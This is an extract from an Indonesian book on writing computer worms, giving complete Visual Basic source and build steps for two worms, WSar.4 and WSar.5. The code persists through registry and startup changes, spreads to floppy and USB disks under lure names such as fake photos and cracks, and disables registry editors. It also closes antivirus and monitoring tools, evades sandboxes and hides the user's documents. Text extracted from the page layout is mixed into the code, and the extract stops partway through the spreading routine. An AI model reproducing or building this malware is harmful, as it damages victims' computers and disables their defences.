Function GetDWORDValue(ByVal SubKey As String, ByVal Entry As String) Call ParseKey(SubKey, MainKeyHandle) If MainKeyHandle Then rtn = RegOpenKeyEx(MainKeyHandle, SubKey, 0, KEY_READ, _ hKey) If rtn = ERROR_SUCCESS Then rtn = RegQueryValueExA(hKey, Entry, 0, REG_DWORD, lBuffer, 4) If rtn = ERROR_SUCCESS Then rtn = RegCloseKey(hKey) GetDWORDValue = lBuffer Else GetDWORDValue = "Error" If DisplayErrorMsg = True Then MsgBox(ErrorMsg(rtn)) End If End If Else GetDWORDValue = "Error" If DisplayErrorMsg = True Then MsgBox(ErrorMsg(rtn)) End If End If End If End Function
Computer Worm 1 - Secret of Underground Coding : Uncensored
Function GetBinaryValue(ByVal SubKey As String, ByVal Entry As String) Call ParseKey(SubKey, MainKeyHandle) If MainKeyHandle Then rtn = RegOpenKeyEx(MainKeyHandle, SubKey, 0, KEY_READ, _ hKey) If rtn = ERROR_SUCCESS Then lBufferSize = 1 rtn = RegQueryValueEx(hKey, Entry, 0, REG_BINARY, 0, _ lBufferSize) sBuffer = Space(lBufferSize) rtn = RegQueryValueEx(hKey, Entry, 0, REG_BINARY, sBuffer, _ lBufferSize) If rtn = ERROR_SUCCESS Then rtn = RegCloseKey(hKey) GetBinaryValue = sBuffer Else GetBinaryValue = "Error" If DisplayErrorMsg = True Then MsgBox(ErrorMsg(rtn)) End If End If Else GetBinaryValue = "Error" If DisplayErrorMsg = True Then MsgBox(ErrorMsg(rtn)) End If End If End If End Function
Bab 10. Worm WSar.4
Function DeleteKey(ByVal Keyname As String) Call ParseKey(Keyname, MainKeyHandle) If MainKeyHandle Then rtn = RegOpenKeyEx(MainKeyHandle, Keyname, 0, _ KEY_WRITE, hKey) If rtn = ERROR_SUCCESS Then rtn = RegDeleteKey(hKey, Keyname) rtn = RegCloseKey(hKey) End If End If End Function Function GetMainKeyHandle(ByVal MainKeyName As String) As Long Const HKEY_CLASSES_ROOT = &H80000000 Const HKEY_CURRENT_USER = &H80000001 Const HKEY_LOCAL_MACHINE = &H80000002 Const HKEY_USERS = &H80000003 Const HKEY_PERFORMANCE_DATA = &H80000004 Const HKEY_CURRENT_CONFIG = &H80000005 Const HKEY_DYN_DATA = &H80000006 Select Case MainKeyName Case "HKEY_CLASSES_ROOT" GetMainKeyHandle = HKEY_CLASSES_ROOT Case "HKEY_CURRENT_USER" GetMainKeyHandle = HKEY_CURRENT_USER
142
Jasakom
Computer Worm 1 - Secret of Undeground Coding : Uncensored
Function ErrorMsg(ByVal lErrorCode As Long) As String Select Case lErrorCode Case 1009, 1015 GetErrorMsg = "The Registry Database is corrupt!" Case 2, 1010 GetErrorMsg = "Bad Key Name" Case 1011 GetErrorMsg = "Can’t Open Key" Case 4, 1012 GetErrorMsg = "Can’t Read Key" Case 5 GetErrorMsg = "Access to this key is denied" Case 1013 GetErrorMsg = "Can’t Write Key" Case 8, 14 GetErrorMsg = "Out of memory" Case 87 GetErrorMsg = "Invalid Parameter" Case 234 GetErrorMsg = "There is more data than the buffer has been " & _ "allocated to hold." Case Else GetErrorMsg = "Undefined Error Code: " & Str$(lErrorCode) End Select End Function Function GetStringValue(ByVal SubKey As String, ByVal Entry As String) Call ParseKey(SubKey, MainKeyHandle) If MainKeyHandle Then rtn = RegOpenKeyEx(MainKeyHandle, SubKey, 0, KEY_READ, _ hKey) If rtn = ERROR_SUCCESS Then sBuffer = Space(255) lBufferSize = Len(sBuffer) rtn = RegQueryValueEx(hKey, Entry, 0, REG_SZ, sBuffer, _ lBufferSize) If rtn = ERROR_SUCCESS Then rtn = RegCloseKey(hKey) sBuffer = Trim(sBuffer) GetStringValue = Left(sBuffer, Len(sBuffer) - 1) Else
143
Jasakom
Bab 10 Worm WSar.4
Case "HKEY_LOCAL_MACHINE" GetMainKeyHandle = HKEY_LOCAL_MACHINE Case "HKEY_USERS" GetMainKeyHandle = HKEY_USERS Case "HKEY_PERFORMANCE_DATA" GetMainKeyHandle = HKEY_PERFORMANCE_DATA Case "HKEY_CURRENT_CONFIG" GetMainKeyHandle = HKEY_CURRENT_CONFIG Case "HKEY_DYN_DATA" GetMainKeyHandle = HKEY_DYN_DATA End Select End Function
Computer Worm 1 - Secret of Underground Coding : Uncensored
GetStringValue = "Error" If DisplayErrorMsg = True Then MsgBox(ErrorMsg(rtn)) End If End If
Else
GetStringValue = "Error" If DisplayErrorMsg = True Then MsgBox(ErrorMsg(rtn)) End If End If End If End Function Private Sub ParseKey(ByVal Keyname As String, ByVal Keyhandle As Long) rtn = InStr(Keyname, "\") If Left(Keyname, 5) "HKEY_" Or Right(Keyname, 1) = "\" Then MsgBox("Incorrect Format:" + Chr(10) + Chr(10) + Keyname) Exit Sub ElseIf rtn = 0 Then Keyhandle = GetMainKeyHandle(Keyname) Keyname = "" Else Keyhandle = GetMainKeyHandle(Left(Keyname, rtn - 1)) Keyname = Right(Keyname, Len(Keyname) - rtn) End If End Sub
Bab 10. Worm WSar.4
Function CreateKey(ByVal SubKey As String) Call ParseKey(SubKey, MainKeyHandle) If MainKeyHandle Then rtn = RegCreateKey(MainKeyHandle, SubKey, hKey) If rtn = ERROR_SUCCESS Then rtn = RegCloseKey(hKey) End If End If End Function Function SetStringValue(ByVal SubKey As String, ByVal Entry As String, _ ByVal value As String) Call ParseKey(SubKey, MainKeyHandle) If MainKeyHandle Then rtn = RegOpenKeyEx(MainKeyHandle, SubKey, 0, KEY_WRITE, _ hKey) If rtn = ERROR_SUCCESS Then rtn = RegSetValueEx(hKey, Entry, 0, REG_SZ, ByVal value, _ Len(value)) If Not rtn = ERROR_SUCCESS Then If DisplayErrorMsg = True Then MsgBox(ErrorMsg(rtn)) End If End If rtn = RegCloseKey(hKey) Else If DisplayErrorMsg = True Then
144
Jasakom
Computer Worm 1 - Secret of Undeground Coding : Uncensored
MsgBox(ErrorMsg(rtn)) End If End If End If End Function Public Function hex2ascii(ByVal hextext As String) As String On Error Resume Next Dim Y As Integer Dim num As String Dim value As String For Y = 1 To Len(hextext) num = Mid(hextext, Y, 2) value = value & Chr(Val("&h" & num)) Y = Y + 1 Next Y hex2ascii = value End Function Function SetHexValue(ByVal SubKey As String, ByVal Entry As String, _ ByVal value As String) SetBinaryValue(SubKey, Entry, hex2ascii(value)) End Function
Ketik kode program berikut ini pada object frmWSar4:
Bab 10 Worm WSar.4
'WSar.4 by Achmad Darmal 'Tarakan, Kalimantan Timur - Indonesia Option Explicit On Private Declare Function GetWindowsDirectory Lib "kernel32" _ Alias "GetWindowsDirectoryA" (ByVal lpBuffer As String, _ ByVal nSize As Long) As Long Private Declare Function GetSystemDirectory Lib "kernel32" Alias _ "GetSystemDirectoryA" (ByVal lpBuffer As String, ByVal nSize _ As Long) As Long Private SF As String * 255 Private Declare Function mciSendString Lib "winmm.dll" Alias _ "mciSendStringA" (ByVal lpstrCommand As String, ByVal _ lpstrReturnString As String, ByVal uReturnLength As Long, _ ByVal hwndCallback As Long) As Long Private Declare Function SetVolumeLabel Lib "kernel32" Alias _ "SetVolumeLabelA" (ByVal lpRootPathName As String, ByVal _ lpVolumeName As String) As Long Private Sub Form_Load() If App.PrevInstance = True Then End Call InfectSystem() Call InfectFloppy() If App.Path = "A:\" Or App.Path = "B:\" Then Unload(Me) End If End Sub
145
Jasakom
Computer Worm 1 - Secret of Underground Coding : Uncensored Private Sub InfectSystem() On Error Resume Next Dim MainFolder As String MainFolder = SpecialFolder(0) & "\Config\StartUp" MkDir(MainFolder) FileCopy(WormFile, MainFolder & "\" & "WINLOGIN.EXE") SetStringValue("HKEY_CURRENT_USER\Software\Microsoft\Windows\Curr" & _ "entVersion\Explorer\User Shell Folders", "Startup", MainFolder) SetAttr(MainFolder & "\" & "WINLOGIN.EXE", vbReadOnly) End Sub
Bab 10. Worm WSar.4
Private Sub InfectFloppy() On Error Resume Next Dim Acak As Integer Dim Nama As String txtName.Text = Trim$(NameLogon) Nama = LCase(txtName.Text) Dim NamaCantik(10) As String NamaCantik(0) = "foto seksi " & Nama & ".jpg .exe" NamaCantik(1) = "foto birahi " & Nama & ".jpg .exe" NamaCantik(2) = "foto pacar baru " & Nama & ".jpg .exe" NamaCantik(3) = "foto khusus dewasa.jpg .exe" NamaCantik(4) = "foto tuyul.jpg .exe" NamaCantik(5) = "foto dedemit.jpg .exe" NamaCantik(6) = "foto setan kuburan.jpg .exe" NamaCantik(7) = "foto hantu pocong.jpg .exe" NamaCantik(8) = "foto wewek gombel.jpg .exe" NamaCantik(9) = "foto kuntilanak.jpg .exe" Randomize() Acak = Int(Rnd * 10) If Len(Dir$("A:\*.jpg .exe")) = 0 Then FileCopy(WormFile, "A:\" & NamaCantik(Acak)) End If End Sub Function SpecialFolder(ByVal value) On Error Resume Next Dim FolderValue As String If value = 0 Then FolderValue = Left(SF, GetWindowsDirectory(SF, 255)) End If If value = 1 Then FolderValue = Left(SF, GetSystemDirectory(SF, 255)) End If If Right(FolderValue, 1) = "\" Then FolderValue = Left(FolderValue, Len(FolderValue) - 1) End If SpecialFolder = FolderValue End Function Private Function SetLabel(ByVal RootName As String, ByVal NewLabel _ As String) If RootName = "" Then Exit Function End If Call SetVolumeLabel(RootName, NewLabel) End Function
146
Jasakom
Computer Worm 1 - Secret of Undeground Coding : Uncensored
Private Sub PayLoad() On Error Resume Next MsgBox("WSar.4 Ada Pada Komputer Anda", vbExclamation) SetStringValue("HKEY_LOCAL_MACHINE\Software\Microso" & _ "ft\Windows\CurrentVersion", "RegisteredOwner", "LIGHT " & _ "DEVIL") SetStringValue("HKEY_LOCAL_MACHINE\Software\Microso" & _ "ft\Windows\CurrentVersion", "RegisteredOrganization", "IN" & _ "DONESIAN WORM WRITER ASSOCIATION") SetStringValue("HKEY_LOCAL_MACHINE\Software\Microso" & _ "ft\Windows\CurrentVersion", "LocalNoticeCaption", "INDO" & _ "NESIAN WORM WRITER ASSOCIATION") SetStringValue("HKEY_LOCAL_MACHINE\Software\Microso" & _ "ft\Windows\CurrentVersion", "LegalNoticeText", "Kompute" & _ "r Anda terinfeksi oleh WSar.4 kunjungi site berikut untuk me" & _ "ndapatkan manual cara menghapusnya www.iwwa.co.id") SetLabel("C:\", "Light Devil") SetLabel("D:\", "WSar Exist") End Sub
Bab 10 Worm WSar.4
Private Sub tmrIseng_Timer() On Error Resume Next Dim DoorOpen As Boolean Dim i As Integer If Hour(Now) = Minute(Now) Then GoTo Iseng Else : GoTo Selesai Iseng: mciSendString("close all", 0, 0, 0) mciSendString("open cdaudio alias cd wait shareable", 0, 0, 0) mciSendString("set cd time format tmsf wait", 0, 0, 0) For i = 1 To 3 mciSendString("set cd door open", 0, 0, 0) DoorOpen = True If DoorOpen = True Then mciSendString("set cd door closed", 0, 0, 0) DoorOpen = False End If Next i Selesai: End Sub Private Sub tmrWSar4_Timer() On Error Resume Next Call InfectFloppy() If Day(Now) = 13 And Month(Now) = 10 Then Call PayLoad() Unload(Me) End If End Sub Private Function WormFile() Dim WPath, WName As String WPath = App.Path If Right(WPath, 1) "\" Then WPath = WPath & "\" End If WName = App.EXEName & ".exe" WormFile = WPath & WName End Function
147
Jasakom
Computer Worm 1 - Secret of Underground Coding : Uncensored
Berikut penjelasan tentang kode program : Diawali dengan beberapa pendeklarasian function API, masing-masing memiliki tugas untuk mendapatkan direktori Windows dan direktori System Windows dari library kernel32, kemudian function pengiriman string dari library winmm.dll yang digunakan untuk memberikan instruksi pada cd drive, dan function API untuk mengatur volume label pada drive harddisk dari library kernel32. Diawali dengan procedure Form_Load yang akan memastikan file utama tidak tereksekusi lebih dari satu kali, kemudian memanggil procedure InfectSystem, procedure InfectFloppy dan akan segera mengakhiri program apabila file utama berada pada disket. Procedure InfectSystem akan membuat suatu direktori baru bernama 'StartUp’ di dalam direktori [windows directory]\Config kemudian membuat salinan file utama ke direktori tersebut dengan nama file "WINLOGIN.EXE". Procedure ini juga memanggil function yang berada pada module mdlRegistryAPI untuk memanipulasi registry dengan tujuan mengubah lokasi direktori StartUp pada Windows. Terakhir procedure mengatur atribut file "WINLOGIN.EXE" menjadi Read only. Bab 10. Worm WSar.4
Procedure InfectFloppy mengatur nilai properti Text pada txtName menjadi nama user aktif yang didapatkan dari function NameLogon, kemudian mengatur nilai variabel Nama dengan nilai txtName yang di-trim dan dalam bentuk huruf kecil. Procedure kemudian membuat array sebanyak 10 data yang akan menjadi nama file worm, juga menyertakan nama user aktif sebagai bagian dari nama file worm tersebut. Sebagai contoh, jika nama user aktif adalah 'Komeng’ maka worm akan membuat file dengan nama "foto seksi komeng.jpg .exe", "foto birahi komeng.jpg .exe", "foto pacar baru komeng.jpg .exe". Hal ini merupakan salah satu upaya social engineering yang terbukti sangat efektif . Selanjutnya worm berusaha mencari file yang berakhiran ".jpg .exe" pada disket, jika file tidak ditemukan maka worm akan membuat salinan file utama dengan menggunakan salah satu nama file tersebut ke disket yang diambil secara acak.
148
Jasakom
Computer Worm 1 - Secret of Undeground Coding : Uncensored
Function SpecialFolder dan function SetLabel memanfaatkan function API yang telah dideklarasikan sebelumnya, dengan tujuan untuk mempermudah dan membuat formula menjadi lebih sederhana, hingga dapat digunakan berulang kali pada procedure yang berbeda. Untuk mendapatkan lokasi direktori Windows dapat menggunakan instruksi: SpecialFolder(0) atau SpecialFolder(1) untuk mendapatkan direktori System Windows. Untuk memanipulasi volume label drive C pada harddisk menjadi "Apaan Tuuh", maka dapat menggunakan instruksi berikut: SetLabel "C:\", "Apaan Tuuh" Procedure PayLoad pada worm ini termasuk payload beresiko rendah, selain menampilkan pesan "WSar.4 Ada Pada Komputer Anda" worm juga memanipulasi registry dengan mengubah konfigurasi registered owner menjadi "LIGHT DEVIL" dan registered organization menjadi "INDONESIAN WORM WRITER ASSOCIATION".
Terakhir worm memanipulasi volume label harddisk pada drive C menjadi "Light Devil" dan drive D menjadi "WSar Exist", jika ternyata komputer terinfeksi tidak memiliki drive D maka secara sederhana worm menggunakan statement On Error Resume Next untuk mengatasinya. Procedure tmrIseng_Timer memiliki instruksi yang akan bekerja apabila jam dan menit menunjukan nilai yang sama misalnya jam 09:09 atau 15:15. Instruksi yang akan dikerjakan adalah membuka dan menutup CD drive sebanyak 3 kali. Sedangkan procedure tmrWSar4_Timer secara berkesinambungan akan memanggil procedure InfectFloppy dan akan memanggil procedure PayLoad apabila tanggal menunjukkan 13 Oktober setiap tahunnya. Sedangkan dua module bernama mdlNameLogon dan mdlRegistryAPI masing-masing membuat suatu function dari pendeklarasian beberapa function API yang berguna untuk mendapatkan nama user aktif dan mempermudah pengelolaan registry seperti membuat, membaca dan menghapus key atau value pada registry, module yang akan sangat berguna untuk pengembangan program aplikasi apa saja, sehingga sangat disarankan untuk menyimpan module tersebut.
149
Jasakom
Bab 10 Worm WSar.4
Worm mengatur agar sebuah kotak pesan tampil setiap kali Windows startup dengan tulisan "Komputer Anda terinfeksi oleh WSar.4 kunjungi site berikut untuk mendapatkan manual cara menghapusnya www.iwwa.co.id".
Computer Worm 1 - Secret of Undeground Coding : Uncensored
BAB 11 WORM WSar.5
W
Selain itu worm dengan cerdiknya tidak akan bekerja apabila pada system komputer target, worm mendeteksi keberadaan program DeepFreeze atau merupakan suatu system komputer maya dari program Virtual PC, dan hal ini juga akan mempersulit proses analisa. Melalui WSar.5 penulis akan mendemonstrasikan metode yang digunakan worm Pesin untuk menonaktifkan program Registry Editor dan telah penulis kembangkan sehingga juga akan menonaktifkan program lain seperti Registrar Lite, System Mechanic, dan registry utility lainnya. Kemudian penulis juga mengembangkan dan mendemonstrasikan metode yang digunakan worm Kangen untuk menonaktifkan program Registry Editor dengan langsung menutupnya, tetapi karena untuk menonaktifkan program Registry Editor sudah menggunakan metode yang digunakan oleh worm Pesin maka penulis akan mengaplikasikannya pada program lain, seperti program informasi startup dan aplikasi antivirus.
151
Jasakom
Bab 11 Worm WSar.5
orm ini bernama WSar.5 (worm dasar 5), dengan trik launcher yang menggunakan metode program aliases. Karena trik sederhana ini tergolong trik baru dan tidak banyak digunakan, sehingga akan mempersulit proses analisa bahkan untuk seorang advanced user sekalipun.
Computer Worm 1 - Secret of Underground Coding : Uncensored
Worm ini memiliki ciri khas worm di masa lalu, dengan berusaha memenuhi worm pada disket, sekaligus memiliki ciri khas worm di masa sekarang, yang dilengkapi rutin untuk menulari usb disk serta membuat file konfigurasi yang secara otomatis akan mengeksekusi file worm apabila usb disk tersebut terhubung pada suatu system yang mengijinkan metode autorun.
11.1 ALGORITMA WSar.5 memiliki rutin-rutin yang akan melakukan tindakan sebagai berikut:
Bab 11. Worm WSar.5
1. Melakukan pemeriksaan terhadap eksistensi worm itu sendiri pada suatu system komputer 2. Kemudian Worm melakukan pemeriksaan keberadaan program DeepFreeze dan Virtual PC. Jika ditemukan maka worm secara otomatis mengakhiri proses file utama. 3. Worm menyembunyikan aplikasi file worm dari task list 4. Saat menginfeksi suatu system komputer, worm akan membuat salinan file utama ke direktori tertentu, kemudian memanipulasi registry dengan membuat program aliases yang mengarah kepada file salinan tersebut dan menambahkan registry run yang mengarah pada program aliases yang dibuat sebelumnya. Terakhir memanipulasi beberapa nilai registry dengan tujuan menjaga agar file System dan Hidden tetap tidak terlihat pada Windows Explorer 5. Worm secara otomatis akan menonaktifkan aplikasi yang memiliki kata "REG" pada title-nya, seperti Registry Editor, Registrar Lite dan lain sebagainya. Worm juga akan langsung menutup aplikasi yang pada title-nya mengandung kata "vir, av, safe, start, process, spy, autoruns, hijack, patrol, alarm, task, config, folder option, system, properties, watson, remov, scan, kill" 6. Dampak lain yang ditimbulkan adalah setiap 5 menit secara otomatis seluruh jendela aplikasi yang terbuka akan di minimize pada taskbar
152
Jasakom
Computer Worm 1 - Secret of Undeground Coding : Uncensored
7. Setiap tanggal 13 bulan Oktober akan menampilkan pesan "WSar.5 Ada Pada Komputer Anda", kemudian menambahkan atribut System, Hidden dan Read only pada setiap file yang ada pada folder My Documents, sehingga file tersebut tidak akan terlihat oleh user.
11.2 PEMROGRAMAN Buat sebuah project baru pada aplikasi Visual Basic. Atur Project Name menjadi 'WSar’, dan Application Title menjadi 'WSar.5’ Tambahkan 4 buah object Timer, 2 buah object TextBox, 1 buah object DriveListBox dan 3 buah Module, kemudian atur properti untuk masing-masing object tersebut sebagai berikut: Properti object Form1 Jenis
Nilai
Keterangan
frmWSar5
Mengatur nama form menjadi frmWSar5
Icon
(Icon)
Pilih icon yang akan digunakan pada form, WSar.5 menggunakan icon winzip.ico
ShowInTaskbar
False
Tidak menampilkan form pada taskbar
Visible
False
Tidak menampilkan form pada layar.
BorderStyle
None
Tidak memberikan garis tepi pada form
ControlBox
False
Tidak menggunakan control box
Bab 11 Worm WSar.5
Name
Properti object Timer1 Jenis
Nilai
Keterangan
Name
tmrDisableWindow
Mengatur nama Timer tmrDisableWindow
menjadi
Enable
True
Pastikan Timer akan aktif saat form di-load
Interval
500
Setiap instruksi pada procedure Timer akan dieksekusi setiap setengah detik
153
Jasakom
Computer Worm 1 - Secret of Underground Coding : Uncensored
Properti object Timer2 Jenis
Nilai
Keterangan
Name
tmrIseng
Mengatur nama Timer menjadi tmrIseng
Enable
True
Pastikan Timer akan aktif saat form di-load
Interval
1000
Setiap instruksi pada procedure Timer akan dieksekusi setiap 1 detik
Properti object Timer3 Jenis
Nilai
Keterangan
Name
tmrSpreading
Mengganti nama Timer dari Timer3 menjadi tmrSpreading
Enable
True
Pastikan Timer akan aktif saat form di-load
Interval
5000
Setiap instruksi pada procedure Timer akan dieksekusi setiap 5 detik
Properti object Timer4 Jenis
Nilai
Keterangan
Bab 11. Worm WSar.5
Name
tmrAntiDestroyer
Mengatur nama Timer menjadi tmrAntiDestroyer
Enable
True
Pastikan Timer akan aktif saat form di-load
Interval
500
Setiap instruksi pada procedure Timer akan dieksekusi setiap setengah detik
Properti object Text1 Jenis Name
154
Jasakom
Nilai txtPath
Keterangan Mengatur nama TextBox menjadi txtPath
Computer Worm 1 - Secret of Undeground Coding : Uncensored
Properti object Text2 Jenis Name
Nilai txtPath2
Keterangan Mengatur nama TextBox menjadi txtPath2
Properti Module1 Jenis Name
Nilai mdlMinimize
Keterangan Mengatur nama mdlMinimize
module
menjadi
Properti Module2 Jenis Name
Nilai mdlRegistryAPI
Keterangan Mengatur nama module menjadi mdlRegistryAPI
Properti Module3 Name
Nilai mdlWinForce
Keterangan Mengatur nama module menjadi mdlWinForce
Ketik kode program berikut ini pada module mdlMinimize: Private Declare Function FindWindow Lib "user32" Alias _ "FindWindowA" (ByVal lpClassName As String, ByVal _ lpWindowName As String) As Long Private Declare Function PostMessage Lib "user32" Alias _ "PostMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, _ ByVal wParam As Long, ByVal lParam As Long) As Long Private Const WM_COMMAND As Long = &H111 Private Const MIN_ALL As Long = 419 Private Const MIN_ALL_UNDO As Long = 416 Public Sub MinimizeAll() Dim lngHwnd As Long lngHwnd = FindWindow("Shell_TrayWnd", vbNullString) Call PostMessage(lngHwnd, WM_COMMAND, MIN_ALL, 0&) End Sub
155
Jasakom
Bab 11 Worm WSar.5
Jenis
Computer Worm 1 - Secret of Underground Coding : Uncensored
Public Sub RestoreAll() Dim lngHwnd As Long lngHwnd = FindWindow("Shell_TrayWnd", vbNullString) Call PostMessage(lngHwnd, WM_COMMAND, _ MIN_ALL_UNDO, 0&) End Sub
Untuk module mdlRegistryAPI, Anda bisa menggunakan module yang sama pada WSar.4, kemudian ketik kode program berikut ini pada module mdlWinForce: Private Declare Function PostMessage Lib "user32" Alias _ "PostMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, _ ByVal wParam As Long, ByVal lParam As Long) As Long Private Declare Function EnumWindows& Lib "user32" (ByVal _ lpEnumFunc As Long, ByVal lParam As Long) Private Declare Function GetWindowText Lib "user32" Alias _ "GetWindowTextA" (ByVal hwnd As Long, ByVal lpString As _ String, ByVal cch As Long) As Long Private Declare Function IsWindowVisible& Lib "user32" (ByVal _ hwnd As Long) Private Declare Function GetParent& Lib "user32" (ByVal hwnd As _ Long) Private Declare Function EnableWindow Lib "user32" (ByVal hwnd _ As Long, ByVal fEnable As Long) As Long Dim sPattern As String, hFind As Long Const WM_CLOSE = &H10
Bab 11. Worm WSar.5
Private Function EnumWinProc(ByVal hwnd As Long, ByVal _ lParam As Long) As Long Dim k As Long, sName As String If IsWindowVisible(hwnd) And GetParent(hwnd) = 0 Then sName = Space$(128) k = GetWindowText(hwnd, sName, 128) If k > 0 Then sName = Left$(sName, k) If lParam = 0 Then sName = UCase(sName) If sName Like sPattern Then hFind = hwnd EnumWinProc = 0 Exit Function End If End If End If EnumWinProc = 1 End Function Private Function WinFind(ByVal sWild As String, Optional ByVal _ bMatchCase As Boolean = True) As Long sPattern = sWild If Not bMatchCase Then sPattern = UCase(sPattern) EnumWindows(AddressOf EnumWinProc, bMatchCase) WinFind = hFind End Function
156
Jasakom
Computer Worm 1 - Secret of Undeground Coding : Uncensored
Function WinQuit(ByVal WindowsTitle As String) On Error Resume Next hFind = 0 Dim wincap As Long Dim rtnval As Long wincap = WinFind("*" & WindowsTitle & "*", False) rtnval = PostMessage(wincap, WM_CLOSE, vbNull, vbNull) End Function Function WinAble(ByVal WindowsTitle As String, ByVal value As Boolean) hFind = 0 On Error Resume Next Dim wincap As Long Dim rtnval As Long wincap = WinFind("*" & WindowsTitle & "*", False) rtnval = EnableWindow(wincap, value) End Function
Ketik kode program berikut ini pada object frmWSar5: 'WSar.5 by Achmad Darmal 'Tarakan, Kalimantan Timur - Indonesia Option Explicit On
Bab 11 Worm WSar.5
Private Declare Function CopyFile Lib "kernel32" Alias _ "CopyFileA" (ByVal lpExistingFileName As String, ByVal _ lpNewFileName As String, ByVal bFailIfExists As Long) As Long Private Declare Function GetWindowsDirectory Lib "kernel32" _ Alias "GetWindowsDirectoryA" (ByVal lpBuffer As String, _ ByVal nSize As Long) As Long Private Declare Function GetSystemDirectory Lib "kernel32" Alias _ "GetSystemDirectoryA" (ByVal lpBuffer As String, ByVal nSize _ As Long) As Long Private SF As String * 255 Private Declare Function GetDriveType Lib "kernel32" Alias _ "GetDriveTypeA" (ByVal nDrive As String) As Long Const DRIVE_CDROM = 5 Const DRIVE_FIXED = 3 Const DRIVE_RAMDISK = 6 Const DRIVE_REMOTE = 4 Const DRIVE_REMOVABLE = 2 Private Sub Form_Load() If App.PrevInstance = True Then End If Len(Dir$("c:\dfinstall.log")) 0 Then End If Len(Dir$(SpecialFolder(0) & "\cntx\vpchelp.exe")) 0 _ Then End App.TaskVisible = False Call InfectSystem() If App.Path = "A:\" Or App.Path = "B:\" Then End End Sub
157
Jasakom
Computer Worm 1 - Secret of Underground Coding : Uncensored
Bab 11. Worm WSar.5
Private Sub InfectSystem() On Error Resume Next Dim MainFolder As String MainFolder = SpecialFolder(0) & "\Config" MkDir(MainFolder) CopyFile(WormFile, MainFolder & "\" & "system32.exe", False) SetAttr(MainFolder & "\" & "system32.exe", vbHidden + vbSystem _ + vbReadOnly) CreateKey("HKEY_LOCAL_MACHINE\Software\Microsoft\W" & _ "indows\CurrentVersion\App Paths\LoadPowerProfile.EXE") SetStringValue("HKEY_LOCAL_MACHINE\Software\Microso" & _ "ft\Windows\CurrentVersion\App Paths\LoadPowerProfile.EXE", _ "", MainFolder & "\" & "system32.exe") SetStringValue("HKEY_LOCAL_MACHINE\Software\Microso" & _ "ft\Windows\CurrentVersion\Run", "LoadPowerProfile", _ "LoadPowerProfile Rundll32.exe") SetDWORDValue("HKEY_CURRENT_USER\Software\Micro" & _ "soft\Windows\CurrentVersion\Explorer\Advanced", "Hidden", 2) SetDWORDValue("HKEY_CURRENT_USER\Software\Micro" & _ "soft\Windows\CurrentVersion\Explorer\Advanced", _ "HideFileExt", 1) SetDWORDValue("HKEY_CURRENT_USER\Software\Micro" & _ "soft\Windows\CurrentVersion\Explorer\Advanced", _ "SuperHidden", 1) SetDWORDValue("HKEY_CURRENT_USER\Software\Micro" & _ "soft\Windows\CurrentVersion\Explorer\Advanced", _ "ShowSuperHidden", 0) SetDWORDValue("HKEY_CURRENT_USER\Software\Micro" & _ "soft\Windows\CurrentVersion\Explorer\Advanced", _ "ClassicViewState", 0) SetDWORDValue("HKEY_CURRENT_USER\Software\Micro" & _ "soft\Windows\CurrentVersion\Explorer\CabinetState", _ "FullPath", 1) End Sub Private Sub PayLoad() On Error Resume Next Dim UserDoc As String Dim eks As Integer UserDoc = GetStringValue("HKEY_CURRENT_USER\Softwa" & _ "re\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders", _ "Personal") If Len(Dir$(UserDoc & "\*.doc")) 0 Then Shell("attrib +h +s +r " & UserDoc & "\*.doc") End If End Sub Private Sub tmrAntiDestroyer_Timer() On Error Resume Next WinQuit("vir") WinQuit("av") WinQuit("safe") WinQuit("start") WinQuit("process") WinQuit("spy")
158
Jasakom
Computer Worm 1 - Secret of Undeground Coding : Uncensored
WinQuit("autoruns") WinQuit("hijack") WinQuit("patrol") WinQuit("alarm") WinQuit("task") WinQuit("config") WinQuit("folder option") WinQuit("system") WinQuit("properties") WinQuit("watson") WinQuit("remov") WinQuit("scan") WinQuit("kill") End Sub Private Sub tmrDisableWindow_Timer() On Error Resume Next WinAble("REG", False) End Sub Private Sub tmrIseng_Timer() On Error Resume Next If (Right(Minute(Now), 1) = 5 Or Right(Minute(Now), 1) = 0) And _ Second(Now) = 13 Then Call MinimizeAll() End If If Day(Now) = 13 And Month(Now) = 10 Then Call PayLoad() MsgBox("WSar.5 Ada Pada Komputer Anda", vbExclamation) End If End Sub
Bab 11 Worm WSar.5
Private Function SpecialFolder(ByVal value) On Error Resume Next Dim FolderValue As String If value = 0 Then FolderValue = Left(SF, GetWindowsDirectory(SF, 255)) End If If value = 1 Then FolderValue = Left(SF, GetSystemDirectory(SF, 255)) End If If Right(FolderValue, 1) = "\" Then FolderValue = Left(FolderValue, Len(FolderValue) - 1) End If SpecialFolder = FolderValue End Function Private Sub tmrSpreading_Timer() On Error Resume Next Dim filenya As String Dim NamaCantik As String Dim NamaAwal(10) As String NamaAwal(0) = "crack" NamaAwal(1) = "serial" NamaAwal(2) = "full"
159
Jasakom
Computer Worm 1 - Secret of Underground Coding : Uncensored
NamaAwal(3) NamaAwal(4) NamaAwal(5) NamaAwal(6) NamaAwal(7) NamaAwal(8) NamaAwal(9) Randomize()
= = = = = = =
"freeware" "tutorial" "software" "e-book" "keygen" "service pack" "update"
Dim NamaTengah(20) As String NamaTengah(0) = "winamp" NamaTengah(1) = "winzip" NamaTengah(2) = "deepfreeze" NamaTengah(3) = "adobe reader" NamaTengah(4) = "vmware" NamaTengah(5) = "mirc" NamaTengah(6) = "kazaa" NamaTengah(7) = "transtool" NamaTengah(8) = "acdsee" NamaTengah(9) = "softice" NamaTengah(10) = "tweak ui" NamaTengah(11) = "alcohol 120%" NamaTengah(12) = "getright" NamaTengah(13) = "flash player" NamaTengah(14) = "winimage" NamaTengah(15) = "webshoot" NamaTengah(16) = "pdf factory" NamaTengah(17) = "shio" NamaTengah(18) = "horoskop" NamaTengah(19) = "zodiak" Randomize()
Bab 11. Worm WSar.5
